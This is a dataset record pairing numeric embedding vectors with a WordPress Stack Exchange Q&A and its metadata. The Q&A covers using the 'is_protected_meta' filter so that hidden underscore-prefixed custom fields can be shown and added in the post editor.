0.0305023193359375,
-0.0200042724609375,
0.037261962890625,
0.0341796875,
0.01467132568359375,
-0.00785064697265625,
-0.01381683349609375,
-0.005962371826171875,
-0.016571044921875,
-0.0266571044921875,
0.04498291015625,
0.022857666015625,
-0.017608642578125,
-0.0272216796875,
-0.01093292236328125,
-0.033538818359375,
0.004364013671875,
-0.03997802734375,
0.047119140625,
0.023162841796875,
0.00864410400390625,
-0.0209503173828125,
-0.00273895263671875,
-0.0252532958984375,
0.04852294921875,
-0.08367919921875,
0.00711822509765625,
0.0628662109375,
0.02520751953125,
-0.0421142578125,
0.0030117034912109375,
-0.00325775146484375,
-0.056793212890625,
-0.025970458984375,
0.0576171875,
0.038604736328125,
-0.0034847259521484375,
-0.043670654296875,
-0.057159423828125,
0.037933349609375,
-0.06329345703125,
-0.0167694091796875,
-0.0226287841796875,
0.00199127197265625,
0.028961181640625,
0.0078125,
0.01126861572265625,
0.0233154296875,
0.01477813720703125,
0.01561737060546875,
0.0227813720703125,
-0.0057220458984375,
-0.051422119140625,
-0.01751708984375,
0.0169677734375,
0.0286865234375,
-0.057098388671875,
-0.05950927734375,
-0.0022830963134765625,
0.027496337890625,
0.0316162109375,
0.0267333984375,
0.01751708984375,
-0.03790283203125,
0.0262451171875,
0.0162353515625,
-0.0013866424560546875,
0.002788543701171875,
0.036102294921875,
-0.025115966796875,
-0.031524658203125,
-0.0067901611328125,
0.00815582275390625,
-0.0149688720703125,
-0.0022125244140625,
0.00027823448181152344,
0.04388427734375,
0.034515380859375,
-0.005168914794921875,
-0.038604736328125,
-0.034881591796875,
0.041229248046875,
0.035003662109375,
-0.035369873046875,
-0.033172607421875,
0.0022144317626953125,
0.045074462890625,
-0.01922607421875,
0.02569580078125,
-0.0008549690246582031,
-0.0030536651611328125,
-0.00904083251953125,
-0.0050048828125,
0.0165863037109375,
-0.021392822265625,
0.01389312744140625,
0.02911376953125,
0.007049560546875,
-0.0277252197265625,
-0.004062652587890625,
-0.050018310546875,
-0.0261383056640625,
0.004528045654296875,
-0.02093505859375,
-0.04132080078125,
-0.0142059326171875,
0.0633544921875,
0.020050048828125,
0.026458740234375,
-0.0009136199951171875,
-0.041229248046875,
0.0032482147216796875,
0.0197906494140625,
-0.0286712646484375,
-0.0211334228515625,
0.0078887939453125,
-0.055328369140625,
-0.0007925033569335938,
-0.00508880615234375,
-0.035308837890625,
-0.006122589111328125,
0.00591278076171875,
0.002685546875,
0.0673828125,
-0.035125732421875,
-0.0699462890625,
-0.0325927734375,
-0.092529296875,
-0.031280517578125,
-0.0007071495056152344,
-0.0012912750244140625,
-0.0021457672119140625,
0.06939697265625,
0.0016489028930664062,
-0.021026611328125,
0.005779266357421875,
0.04052734375,
0.0096282958984375,
0.010345458984375,
0.005481719970703125,
-0.01519775390625,
-0.0306396484375,
-0.001483917236328125,
-0.012603759765625,
0.0017871856689453125,
-0.0137176513671875,
0.005138397216796875,
-0.0266876220703125,
0.045257568359375,
0.0171966552734375,
-0.00559234619140625,
0.0291595458984375,
0.046173095703125,
0.0228729248046875,
-0.0090484619140625,
-0.0262908935546875,
0.005886077880859375,
-0.02020263671875,
0.02215576171875,
-0.022247314453125,
0.005992889404296875,
0.0002942085266113281,
0.037445068359375,
-0.0479736328125,
-0.0163421630859375,
-0.00238037109375,
-0.03607177734375,
0.03485107421875,
-0.0178375244140625,
-0.054290771484375,
0.018646240234375,
0.00325775146484375,
-0.0211334228515625,
0.01236724853515625,
0.0008778572082519531,
0.021514892578125,
-0.0014638900756835938,
0.01184844970703125,
-0.0270233154296875,
-0.0745849609375,
0.037139892578125,
-0.0330810546875,
0.036376953125,
-0.062286376953125,
-0.0227508544921875,
-0.01087188720703125,
0.110595703125,
-0.04296875,
-0.00843048095703125,
0.002857208251953125,
0.012939453125,
-0.0142364501953125,
-0.026763916015625,
-0.054962158203125,
-0.022705078125,
-0.0635986328125,
0.00032210350036621094,
0.01971435546875,
-0.051361083984375,
-0.0197601318359375,
-0.001087188720703125,
-0.07318115234375,
-0.0105743408203125,
0.03466796875,
-0.0181884765625,
-0.000002205371856689453,
0.028961181640625,
-0.00342559814453125,
0.0164642333984375,
-0.0144195556640625,
-0.005474090576171875,
-0.088134765625,
-0.0160675048828125,
-0.0262451171875,
0.05194091796875,
-0.0005950927734375,
0.0273284912109375,
-0.0280609130859375,
0.0518798828125,
0.0255279541015625,
0.01274871826171875,
0.0289459228515625,
0.016937255859375,
-0.01395416259765625,
-0.003704071044921875,
0.0263824462890625,
-0.03826904296875,
-0.005130767822265625,
-0.028839111328125,
-0.040802001953125,
-0.003082275390625,
-0.024261474609375,
0.0006632804870605469,
-0.0010967254638671875,
-0.0286712646484375,
-0.0258331298828125,
-0.0682373046875,
-0.06182861328125,
0.0028839111328125,
-0.0258941650390625,
-0.005809783935546875,
-0.06451416015625,
-0.045440673828125,
0.03656005859375,
0.007015228271484375,
-0.00677490234375,
0.003902435302734375,
0.0701904296875,
0.02020263671875,
-0.03326416015625,
-0.039794921875,
0.0340576171875,
0.0110321044921875,
-0.021270751953125,
0.027069091796875,
-0.015655517578125,
-0.00479888916015625,
0.0531005859375,
-0.032135009765625,
0.0167083740234375,
-0.00896453857421875,
0.06390380859375,
-0.001995086669921875,
-0.032958984375,
0.0296630859375,
-0.00772857666015625,
-0.010223388671875,
-0.0109100341796875,
-0.035614013671875,
-0.0171051025390625,
-0.01367950439453125,
0.050048828125,
-0.022125244140625,
0.0587158203125,
-0.03741455078125,
-0.04974365234375,
0.0242156982421875,
-0.01708984375,
0.00588226318359375,
0.0311126708984375,
-0.018310546875,
0.01099395751953125,
-0.02874755859375,
0.015350341796875,
-0.052581787109375,
-0.0262908935546875,
-0.03436279296875,
0.033050537109375,
-0.04583740234375,
0.00775909423828125,
-0.0234375,
-0.00037360191345214844,
0.0268096923828125,
-0.0189666748046875,
-0.044342041015625,
0.015533447265625,
-0.0132904052734375,
-0.01093292236328125,
0.0211334228515625,
-0.0511474609375,
0.038665771484375,
0.026519775390625,
0.006011962890625,
-0.00301361083984375,
-0.107666015625,
0.0280914306640625,
-0.034332275390625,
0.0292510986328125,
0.0172882080078125,
-0.020904541015625,
-0.005344390869140625,
0.015655517578125,
0.007503509521484375,
-0.019927978515625,
-0.01181793212890625,
-0.022491455078125,
-0.01451873779296875,
0.0589599609375,
0.046173095703125,
-0.0863037109375,
0.019866943359375,
0.0345458984375,
0.031036376953125,
-0.043548583984375,
-0.0004892349243164062,
0.01129150390625,
0.040252685546875,
-0.01374053955078125,
-0.04046630859375,
0.031463623046875,
-0.0201568603515625,
-0.017425537109375,
-0.0271148681640625,
0.01026153564453125,
0.038604736328125,
0.004550933837890625,
-0.007244110107421875,
0.00012433528900146484,
0.0433349609375,
-0.00789642333984375,
-0.007480621337890625,
-0.005374908447265625,
0.000568389892578125,
0.027679443359375,
-0.035369873046875,
0.024627685546875,
0.025177001953125,
-0.07421875,
-0.004016876220703125,
0.024200439453125,
-0.0291290283203125,
-0.0210723876953125,
-0.023712158203125,
-0.0509033203125,
0.024932861328125,
0.0037555694580078125,
0.06982421875,
-0.047088623046875,
-0.026092529296875,
-0.004383087158203125,
-0.0183258056640625,
0.054962158203125,
0.027313232421875,
0.01467132568359375,
-0.01837158203125,
-0.0506591796875,
-0.03704833984375,
-0.06524658203125,
-0.0286865234375,
-0.0182647705078125,
0.020904541015625,
-0.0255889892578125,
0.005954742431640625,
-0.0094757080078125,
0.017730712890625,
-0.003818511962890625,
0.00579833984375,
-0.00901031494140625,
-0.01702880859375,
-0.01137542724609375,
0.082763671875,
-0.0287017822265625,
0.054779052734375,
0.0095977783203125,
0.02850341796875,
-0.0254974365234375,
-0.01214599609375,
0.0038127899169921875,
-0.078369140625,
-0.025787353515625,
0.0001995563507080078,
-0.04034423828125,
0.052886962890625,
0.061737060546875,
0.004180908203125,
0.01407623291015625,
-0.00921630859375,
-0.0016756057739257812,
-0.01450347900390625,
0.0277557373046875,
-0.002849578857421875,
0.0184326171875,
0.02581787109375,
-0.0180511474609375,
0.0209503173828125,
-0.0247955322265625,
-0.04046630859375,
0.04547119140625,
-0.00849151611328125,
0.0423583984375,
0.0253753662109375,
-0.040985107421875,
0.05633544921875,
0.039947509765625,
-0.01715087890625,
0.0321044921875,
0.0066986083984375,
0.0206146240234375,
0.0232696533203125,
0.00803375244140625,
0.0026035308837890625,
-0.00592041015625,
0.05377197265625,
0.0009427070617675781,
-0.01416778564453125,
0.03216552734375,
-0.04010009765625,
-0.0217742919921875,
-0.057769775390625,
0.0019102096557617188,
0.04156494140625,
0.01145172119140625,
0.004383087158203125,
-0.0164031982421875,
0.00943756103515625,
0.040191650390625,
-0.0159149169921875,
0.00870513916015625,
-0.0173187255859375,
-0.03436279296875,
-0.0291748046875,
-0.002674102783203125,
0.01067352294921875,
-0.0174560546875,
-0.0210723876953125,
-0.0142974853515625,
0.006931304931640625,
0.0633544921875,
-0.0167236328125,
-0.039825439453125,
0.02716064453125,
-0.0210113525390625,
-0.0009670257568359375,
-0.0234527587890625,
0.00908660888671875,
-0.0173492431640625,
0.022796630859375,
-0.0548095703125,
0.039520263671875,
0.00296783447265625,
-0.0020198822021484375,
0.033111572265625,
0.0208282470703125,
-0.00447845458984375,
0.0004420280456542969,
-0.00013959407806396484,
-0.0288848876953125,
0.0026149749755859375,
-0.0014476776123046875,
0.0298004150390625,
-0.01419830322265625,
-0.047119140625,
0.006931304931640625,
-0.0394287109375,
-0.0038604736328125,
-0.010833740234375,
-0.0653076171875,
-0.00007402896881103516,
-0.0197296142578125,
-0.0095367431640625,
0.01308441162109375,
0.0279083251953125,
0.002910614013671875,
0.00406646728515625,
0.048065185546875,
-0.04083251953125,
-0.01397705078125,
0.02947998046875,
-0.004909515380859375,
-0.0142669677734375,
0.01186370849609375,
-0.055816650390625,
0.087890625,
0.0206146240234375,
0.027496337890625,
0.0097808837890625,
0.028411865234375,
-0.044036865234375,
-0.005523681640625,
-0.04937744140625,
0.032196044921875,
0.04522705078125,
0.0205535888671875,
-0.01971435546875,
-0.01111602783203125,
-0.0122528076171875,
0.0184326171875,
0.037567138671875,
-0.0031948089599609375,
-0.032745361328125,
-0.0032196044921875,
0.04669189453125,
0.02166748046875,
-0.0119476318359375,
0.043792724609375,
-0.0103759765625,
-0.0347900390625,
0.04559326171875,
0.02294921875,
0.035919189453125,
-0.0031299591064453125,
0.0023593902587890625,
0.01258087158203125,
-0.01340484619140625,
-0.0006489753723144531,
-0.01483154296875,
0.0244140625,
0.006046295166015625,
-0.0222320556640625,
-0.005474090576171875,
-0.044708251953125,
-0.00879669189453125,
0.043182373046875,
0.0210113525390625,
-0.04022216796875,
-0.0262908935546875,
-0.024505615234375,
0.040283203125,
-0.00936126708984375,
0.042938232421875,
0.040374755859375,
0.0169525146484375,
0.053741455078125,
0.004665374755859375,
0.0254364013671875,
0.0082855224609375,
-0.01467132568359375,
0.059295654296875,
0.0162200927734375,
0.0234222412109375,
-0.040679931640625,
-0.01318359375,
0.01517486572265625,
0.0849609375,
-0.0428466796875,
-0.049652099609375,
0.016754150390625,
0.022216796875,
0.0274200439453125,
0.029815673828125,
0.041656494140625,
0.01543426513671875,
0.05914306640625,
-0.039581298828125,
-0.01236724853515625,
0.02520751953125,
0.0268096923828125,
-0.00417327880859375,
-0.025970458984375,
-0.01824951171875,
-0.01456451416015625,
0.0009012222290039062,
-0.01349639892578125,
-0.007480621337890625,
0.0183258056640625,
0.007106781005859375,
0.03173828125,
-0.0184783935546875,
-0.007480621337890625,
-0.0125732421875,
-0.0223236083984375,
0.024261474609375,
0.0047607421875,
0.0305023193359375,
0.07659912109375,
-0.0298919677734375,
0.00739288330078125,
0.004161834716796875,
0.0281829833984375,
0.046600341796875,
0.033233642578125,
-0.013427734375,
-0.00749969482421875,
0.050079345703125,
-0.024383544921875,
0.0041046142578125,
-0.0203399658203125,
0.025146484375,
0.03271484375,
0.0020599365234375,
0.007694244384765625,
0.01476287841796875,
0.06500244140625,
0.006011962890625,
-0.0011148452758789062,
0.004322052001953125,
-0.02862548828125,
0.043426513671875,
0.0298309326171875,
0.0771484375,
0.04888916015625,
-0.091064453125,
-0.00984954833984375,
-0.02410888671875,
-0.07464599609375,
0.05584716796875,
0.061065673828125,
-0.0165863037109375,
-0.0204925537109375,
0.0249481201171875,
-0.033538818359375,
-0.0026187896728515625,
0.043121337890625,
-0.0121002197265625,
-0.024688720703125,
0.015289306640625,
-0.0193328857421875,
-0.0204010009765625,
-0.0228424072265625,
0.005100250244140625,
0.0440673828125,
0.0085906982421875,
0.057861328125,
-0.0220794677734375,
0.0163116455078125,
-0.017608642578125,
0.0279388427734375,
-0.06011962890625,
-0.05023193359375,
0.05230712890625,
-0.044921875,
-0.00962066650390625,
0.0185699462890625,
-0.0318603515625,
0.0023403167724609375,
0.061553955078125,
-0.01788330078125,
0.0184326171875,
0.002475738525390625,
0.022552490234375,
-0.0406494140625,
0.033233642578125,
-0.02557373046875,
-0.005001068115234375,
-0.032623291015625,
-0.0430908203125,
0.0482177734375,
0.02154541015625,
0.00788116455078125,
-0.0034637451171875,
0.0216827392578125,
-0.03192138671875,
0.025848388671875,
-0.00431060791015625,
0.039276123046875,
0.0321044921875,
0.00208282470703125,
-0.023162841796875,
0.038543701171875,
-0.00444793701171875,
0.0217742919921875,
0.013885498046875,
0.0302276611328125,
0.03472900390625,
-0.0633544921875,
0.01442718505859375,
0.0215606689453125,
0.040740966796875,
-0.00955963134765625,
0.005252838134765625,
-0.005107879638671875,
-0.0164947509765625,
-0.002307891845703125,
-0.03948974609375,
-0.03289794921875,
-0.06787109375,
0.012542724609375,
0.0189971923828125,
-0.0193634033203125,
-0.00273895263671875,
-0.009490966796875,
0.0189056396484375,
0.050323486328125,
0.0206451416015625,
-0.051605224609375,
0.02398681640625,
-0.032806396484375,
0.03955078125,
0.0197601318359375,
-0.004154205322265625,
-0.0006012916564941406,
0.00370025634765625,
-0.0584716796875,
0.00548553466796875,
-0.0396728515625,
-0.0275115966796875,
-0.04168701171875,
0.030181884765625,
0.041107177734375,
-0.0299072265625,
0.0011577606201171875,
0.03936767578125,
0.0249176025390625,
0.08734130859375,
-0.0024394989013671875,
-0.01459503173828125,
0.01007080078125,
0.00047278404235839844,
-0.027923583984375,
-0.020111083984375,
0.020538330078125,
-0.018402099609375,
-0.034423828125,
-0.0238494873046875,
-0.00925445556640625,
-0.0015382766723632812,
-0.05084228515625,
-0.07647705078125,
0.070068359375,
-0.0226898193359375,
-0.03302001953125,
-0.05401611328125,
0.034423828125,
-0.00464630126953125,
0.0013179779052734375,
-0.014984130859375,
-0.001911163330078125,
0.0032787322998046875,
0.008697509765625,
0.0039520263671875,
0.024139404296875,
0.002216339111328125,
-0.005634307861328125,
-0.07012939453125,
-0.00441741943359375,
-0.022216796875,
0.012298583984375,
-0.0196685791015625,
0.0017042160034179688,
0.0233306884765625,
0.053375244140625,
-0.00823211669921875,
0.036224365234375,
0.0271148681640625,
0.006378173828125,
0.016021728515625,
-0.061859130859375,
-0.01055145263671875,
-0.04150390625,
0.04827880859375,
-0.055511474609375,
0.00615692138671875,
0.0216522216796875,
-0.056671142578125,
-0.032379150390625,
-0.06103515625,
0.020538330078125,
0.0450439453125,
-0.0711669921875,
0.02410888671875,
0.020477294921875,
-0.007541656494140625,
-0.01024627685546875,
-0.03607177734375,
-0.012664794921875,
-0.01024627685546875,
-0.01097869873046875,
-0.0032978057861328125,
0.0183563232421875,
-0.0003094673156738281,
-0.01477813720703125,
-0.010284423828125,
-0.034820556640625,
-0.00005829334259033203,
-0.002109527587890625,
-0.0447998046875,
0.031524658203125,
-0.03656005859375,
-0.01512908935546875,
0.033447265625,
0.0176544189453125,
0.01044464111328125,
0.00017547607421875,
0.03509521484375,
0.0224609375,
-0.029693603515625,
-0.008544921875,
0.0164642333984375,
-0.034393310546875,
-0.0450439453125,
0.048553466796875,
0.0253143310546875,
0.082275390625,
-0.0042266845703125,
-0.0018596649169921875,
0.004993438720703125,
0.008453369140625,
0.00601959228515625,
-0.003803253173828125,
0.042694091796875,
-0.0509033203125,
0.002201080322265625,
-0.03173828125,
0.00994873046875,
-0.0611572265625,
0.023101806640625,
-0.033782958984375,
-0.0053253173828125,
0.0479736328125
] |
9a59c1ac3a432f22c05ec894890fadd3c3af872d
|
Wordpress Stackexchange
Q: How to allow hidden custom fields to be added from wp-admin/post.php? I know that using an underscore in front of a custom field name hides it from display on the front-end, e.g. _custom_field_name. In my experience, WordPress also prevents one from adding such a custom field on the front end.
Before I go spelunking around core, I wanted to ask: Is there an "easy" way to allow _custom_fields to be added from wp-admin/post.php?
The reason is this: we rely on hidden custom fields, but when troubleshooting production issues in prod it would be useful to be able to inject certain hidden post meta. I'm not a fan of touching the production database by hand.
A: I found the following filter, here unlocking all protected meta data:
add_filter( 'is_protected_meta', '__return_false' );
Or it can be fine tuned:
add_filter( 'is_protected_meta', function( $protected, $meta_key, $meta_type )
{
$allowed = array( '_edit_lock', '_test', '_wp_page_template' );
if( in_array( $meta_key, $allowed ) )
return false;
return $protected;
}, 10, 3 );
It allows to display the meta data as well as insert new ones (globally or fine-tuned).
|
Q: How to allow hidden custom fields to be added from wp-admin/post.php? I know that using an underscore in front of a custom field name hides it from display on the front-end, e.g. _custom_field_name. In my experience, WordPress also prevents one from adding such a custom field on the front end.
Before I go spelunking around core, I wanted to ask: Is there an "easy" way to allow _custom_fields to be added from wp-admin/post.php?
The reason is this: we rely on hidden custom fields, but when troubleshooting production issues in prod it would be useful to be able to inject certain hidden post meta. I'm not a fan of touching the production database by hand.
A: I found the following filter, here unlocking all protected meta data:
add_filter( 'is_protected_meta', '__return_false' );
Or it can be fine tuned:
add_filter( 'is_protected_meta', function( $protected, $meta_key, $meta_type )
{
$allowed = array( '_edit_lock', '_test', '_wp_page_template' );
if( in_array( $meta_key, $allowed ) )
return false;
return $protected;
}, 10, 3 );
It allows to display the meta data as well as insert new ones (globally or fine-tuned).
A: Custom fields that begin with an underscore are hidden from the editor. This is so other methods can access them, but they will not show up as "custom fields". For example, this is how most Custom Fields plugins work.
http://codex.wordpress.org/Function_Reference/add_post_meta#Hidden_Custom_Fields
If you wish to bypass this, you should be able to:
http://www.wpbeginner.com/wp-tutorials/how-to-show-hidden-custom-fields-in-wordpress/
|
wordpress
|
{
"language": "en",
"length": 235,
"provenance": "stackexchange_00019.jsonl.gz:437824",
"question_score": "5",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/116534"
}
|
[
0.048553466796875,
0.005889892578125,
0.0203857421875,
-0.01922607421875,
0.0073699951171875,
-0.0041961669921875,
0.03546142578125,
-0.0478515625,
-0.0242767333984375,
-0.014984130859375,
-0.0178985595703125,
-0.019805908203125,
-0.0066375732421875,
-0.051422119140625,
0.044952392578125,
-0.050140380859375,
0.0265350341796875,
0.0013742446899414062,
0.044097900390625,
0.0030498504638671875,
0.0204925537109375,
0.00957489013671875,
0.029266357421875,
-0.0232391357421875,
0.041046142578125,
-0.03118896484375,
0.0156402587890625,
-0.01953125,
0.038787841796875,
0.02215576171875,
0.027496337890625,
-0.047332763671875,
-0.0095367431640625,
0.0301361083984375,
0.00109100341796875,
-0.001415252685546875,
0.041900634765625,
0.00946807861328125,
0.0255889892578125,
0.0184478759765625,
0.036468505859375,
-0.02001953125,
0.001811981201171875,
0.02203369140625,
-0.008758544921875,
-0.044677734375,
0.0474853515625,
-0.0295562744140625,
0.00318145751953125,
0.0202178955078125,
-0.00421905517578125,
0.0227813720703125,
-0.006313323974609375,
0.0016689300537109375,
0.00955963134765625,
0.0034046173095703125,
-0.052398681640625,
-0.0016260147094726562,
0.04132080078125,
0.049163818359375,
-0.00801849365234375,
-0.0367431640625,
0.0005292892456054688,
-0.0753173828125,
0.01641845703125,
-0.006069183349609375,
-0.014739990234375,
0.034515380859375,
-0.06304931640625,
0.008087158203125,
0.045166015625,
-0.0615234375,
0.0235595703125,
-0.0297698974609375,
-0.015869140625,
0.0046844482421875,
0.02313232421875,
-0.0024929046630859375,
0.0150146484375,
-0.032958984375,
0.02264404296875,
0.0022068023681640625,
0.0021762847900390625,
-0.003368377685546875,
-0.005619049072265625,
0.0186309814453125,
-0.0177764892578125,
-0.0092315673828125,
0.052734375,
0.0003197193145751953,
0.0226287841796875,
-0.053375244140625,
0.0158843994140625,
0.0872802734375,
0.03436279296875,
-0.04302978515625,
0.034393310546875,
0.058563232421875,
-0.0259552001953125,
-0.0209503173828125,
0.0035037994384765625,
-0.02777099609375,
0.01482391357421875,
-0.0328369140625,
-0.0081634521484375,
0.0233612060546875,
0.0080108642578125,
0.0252838134765625,
0.01763916015625,
0.03582763671875,
-0.0112762451171875,
-0.04595947265625,
0.008636474609375,
-0.0289459228515625,
-0.0170135498046875,
0.0199737548828125,
0.0032749176025390625,
0.00429534912109375,
0.0104217529296875,
0.00533294677734375,
0.01432037353515625,
0.0268402099609375,
-0.0178070068359375,
-0.043792724609375,
0.021514892578125,
-0.00641632080078125,
-0.0438232421875,
0.006542205810546875,
-0.039825439453125,
0.060302734375,
-0.03662109375,
-0.0112457275390625,
0.062255859375,
0.042694091796875,
0.01336669921875,
-0.03509521484375,
0.0284881591796875,
-0.0002777576446533203,
0.0075836181640625,
0.023406982421875,
-0.0193939208984375,
-0.040557861328125,
-0.01485443115234375,
-0.0198822021484375,
0.00801849365234375,
0.031494140625,
0.01235198974609375,
-0.004894256591796875,
0.004913330078125,
-0.01386260986328125,
-0.03033447265625,
-0.01342010498046875,
0.038330078125,
0.01441192626953125,
-0.01534271240234375,
0.0021533966064453125,
0.0555419921875,
-0.01959228515625,
-0.043914794921875,
-0.041107177734375,
-0.01209259033203125,
-0.0258026123046875,
0.004138946533203125,
-0.054595947265625,
-0.057342529296875,
0.0352783203125,
-0.032806396484375,
-0.006656646728515625,
0.032562255859375,
0.0180816650390625,
0.052032470703125,
-0.01470184326171875,
0.038543701171875,
-0.00034165382385253906,
-0.018585205078125,
-0.021453857421875,
0.0251922607421875,
0.0714111328125,
-0.00580596923828125,
0.018829345703125,
0.0028820037841796875,
-0.0462646484375,
0.07354736328125,
-0.033721923828125,
-0.045379638671875,
0.0237579345703125,
-0.003570556640625,
0.0177459716796875,
0.0268707275390625,
-0.001354217529296875,
0.05535888671875,
0.01483154296875,
-0.0196380615234375,
-0.01320648193359375,
0.01522064208984375,
-0.00946044921875,
0.00013446807861328125,
-0.0081787109375,
0.01065826416015625,
-0.005023956298828125,
0.0140533447265625,
0.0245819091796875,
0.0028324127197265625,
0.01580810546875,
-0.017486572265625,
0.0244903564453125,
-0.01287078857421875,
0.037628173828125,
-0.049346923828125,
-0.01508331298828125,
0.031097412109375,
-0.056182861328125,
-0.00870513916015625,
0.01291656494140625,
-0.0181884765625,
-0.0323486328125,
-0.0204620361328125,
0.04132080078125,
-0.0032138824462890625,
0.031829833984375,
0.01959228515625,
-0.04241943359375,
0.0092620849609375,
-0.0006504058837890625,
0.0196685791015625,
0.01534271240234375,
-0.007328033447265625,
0.0054779052734375,
0.04534912109375,
0.019317626953125,
0.01885986328125,
-0.0035266876220703125,
-0.0260009765625,
-0.02850341796875,
-0.00830078125,
-0.00701904296875,
-0.0198974609375,
-0.1239013671875,
0.019195556640625,
0.0740966796875,
0.02825927734375,
0.0209197998046875,
-0.0032444000244140625,
0.0214996337890625,
0.038970947265625,
0.005397796630859375,
0.0225830078125,
-0.0142974853515625,
0.00994110107421875,
0.01461029052734375,
-0.0119171142578125,
-0.0138092041015625,
0.027313232421875,
-0.061798095703125,
0.002002716064453125,
0.032684326171875,
-0.0487060546875,
-0.032196044921875,
0.011322021484375,
-0.0246124267578125,
0.00740814208984375,
-0.01190948486328125,
0.0031261444091796875,
-0.0017118453979492188,
0.01776123046875,
0.0272369384765625,
0.03778076171875,
0.0372314453125,
-0.01348114013671875,
0.011688232421875,
0.018798828125,
0.006809234619140625,
0.002044677734375,
-0.0182342529296875,
0.006687164306640625,
-0.0029392242431640625,
-0.041717529296875,
0.0159759521484375,
0.01922607421875,
-0.012847900390625,
0.01611328125,
0.0281982421875,
-0.0235748291015625,
-0.0040435791015625,
0.02191162109375,
-0.029754638671875,
-0.016326904296875,
0.018463134765625,
0.01201629638671875,
-0.00106048583984375,
0.01708984375,
0.04425048828125,
-0.006206512451171875,
0.0435791015625,
-0.00872039794921875,
-0.01490020751953125,
-0.020050048828125,
-0.053009033203125,
0.04681396484375,
-0.039703369140625,
0.007091522216796875,
0.06695556640625,
-0.0124664306640625,
0.016021728515625,
-0.009796142578125,
0.0011768341064453125,
-0.03240966796875,
0.022979736328125,
-0.0006837844848632812,
-0.0579833984375,
-0.0183868408203125,
0.019866943359375,
0.033477783203125,
0.0217437744140625,
0.0279693603515625,
-0.0210418701171875,
-0.0078277587890625,
0.036834716796875,
-0.03875732421875,
-0.01507568359375,
0.005584716796875,
-0.043365478515625,
-0.060455322265625,
-0.005153656005859375,
-0.045806884765625,
0.0291290283203125,
-0.00637054443359375,
-0.005168914794921875,
-0.023223876953125,
-0.029327392578125,
-0.0270233154296875,
-0.0322265625,
-0.023956298828125,
0.000030159950256347656,
0.008392333984375,
-0.006565093994140625,
-0.0016956329345703125,
0.105712890625,
0.03680419921875,
-0.021759033203125,
0.0269317626953125,
0.01171112060546875,
-0.01303863525390625,
0.01496124267578125,
0.015106201171875,
-0.05999755859375,
0.038665771484375,
-0.01430511474609375,
-0.01824951171875,
-0.002536773681640625,
0.041351318359375,
-0.030609130859375,
0.0202484130859375,
0.01189422607421875,
0.0269317626953125,
0.042022705078125,
-0.016754150390625,
0.016845703125,
0.0474853515625,
-0.0294036865234375,
-0.005176544189453125,
0.00873565673828125,
-0.01395416259765625,
-0.01189422607421875,
-0.023651123046875,
-0.00045299530029296875,
-0.01294708251953125,
0.0379638671875,
0.03619384765625,
0.041107177734375,
0.0008716583251953125,
0.01500701904296875,
-0.012603759765625,
0.01139068603515625,
0.035614013671875,
-0.01861572265625,
0.0186309814453125,
-0.01375579833984375,
0.0084991455078125,
-0.0004124641418457031,
0.009857177734375,
-0.01389312744140625,
0.052276611328125,
-0.034393310546875,
-0.053985595703125,
0.036346435546875,
-0.0296173095703125,
0.047332763671875,
-0.061126708984375,
-0.0377197265625,
-0.038909912109375,
0.0924072265625,
-0.040130615234375,
-0.0087890625,
0.0034961700439453125,
0.01525115966796875,
-0.051177978515625,
-0.0294952392578125,
-0.058319091796875,
0.005279541015625,
-0.0682373046875,
0.0149383544921875,
0.0003304481506347656,
-0.0418701171875,
-0.0047149658203125,
-0.002597808837890625,
-0.032745361328125,
-0.036773681640625,
0.03314208984375,
-0.021514892578125,
0.005779266357421875,
0.00977325439453125,
0.006008148193359375,
-0.026214599609375,
-0.012115478515625,
-0.00901031494140625,
-0.07733154296875,
-0.016021728515625,
-0.0094451904296875,
0.053253173828125,
0.008880615234375,
-0.0162353515625,
0.00780487060546875,
0.05670166015625,
0.0150146484375,
0.0264892578125,
-0.010284423828125,
-0.01279449462890625,
0.00794219970703125,
-0.004222869873046875,
-0.003963470458984375,
-0.0043182373046875,
-0.01416015625,
-0.005977630615234375,
-0.000244140625,
-0.0006270408630371094,
-0.031402587890625,
-0.03167724609375,
0.0055999755859375,
-0.02783203125,
0.0040740966796875,
0.0009131431579589844,
-0.06378173828125,
-0.0012693405151367188,
-0.03839111328125,
-0.00952911376953125,
0.009674072265625,
-0.0243988037109375,
0.0357666015625,
-0.0134735107421875,
0.0022106170654296875,
0.00888824462890625,
0.09686279296875,
0.0182342529296875,
-0.0005235671997070312,
-0.039337158203125,
-0.0244140625,
0.0236968994140625,
-0.0158233642578125,
0.03521728515625,
0.017913818359375,
-0.011474609375,
0.021881103515625,
-0.00730133056640625,
0.0192718505859375,
-0.040069580078125,
0.04754638671875,
-0.033447265625,
-0.0117950439453125,
0.024261474609375,
-0.042083740234375,
0.030364990234375,
0.0260467529296875,
0.0026988983154296875,
-0.0171966552734375,
-0.0180816650390625,
0.0345458984375,
0.0028133392333984375,
0.0020542144775390625,
-0.046661376953125,
-0.029815673828125,
0.004131317138671875,
-0.015869140625,
0.005443572998046875,
-0.021453857421875,
0.017303466796875,
-0.00045752525329589844,
0.00884246826171875,
0.01959228515625,
-0.032196044921875,
-0.033966064453125,
-0.033355712890625,
0.0232696533203125,
0.006061553955078125,
0.0133056640625,
0.01336669921875,
-0.0139007568359375,
0.0643310546875,
-0.039459228515625,
-0.07891845703125,
0.000053882598876953125,
-0.0308837890625,
0.0152740478515625,
0.04620361328125,
-0.01091766357421875,
0.002105712890625,
0.045501708984375,
-0.00017189979553222656,
0.0277557373046875,
0.01207733154296875,
0.047088623046875,
-0.020904541015625,
0.007694244384765625,
0.004669189453125,
0.0027561187744140625,
0.00040912628173828125,
0.0869140625,
-0.00800323486328125,
0.049468994140625,
-0.0186920166015625,
0.051361083984375,
0.054779052734375,
0.0218353271484375,
0.00194549560546875,
-0.017822265625,
0.0035800933837890625,
-0.0173187255859375,
-0.0082550048828125,
-0.017486572265625,
-0.0075225830078125,
0.022369384765625,
0.01316070556640625,
0.01418304443359375,
0.0037384033203125,
0.00016677379608154297,
-0.011077880859375,
-0.02935791015625,
0.01477813720703125,
-0.0151214599609375,
-0.03173828125,
-0.018463134765625,
-0.01262664794921875,
0.007686614990234375,
-0.006011962890625,
0.0064697265625,
-0.01265716552734375,
-0.04376220703125,
-0.0098876953125,
-0.036651611328125,
0.0221099853515625,
-0.05047607421875,
-0.0479736328125,
-0.0028896331787109375,
0.0003693103790283203,
0.0016269683837890625,
-0.036956787109375,
-0.03173828125,
-0.0077667236328125,
-0.0201873779296875,
0.0179901123046875,
-0.00954437255859375,
0.017852783203125,
-0.03631591796875,
0.015899658203125,
0.00495147705078125,
0.0164337158203125,
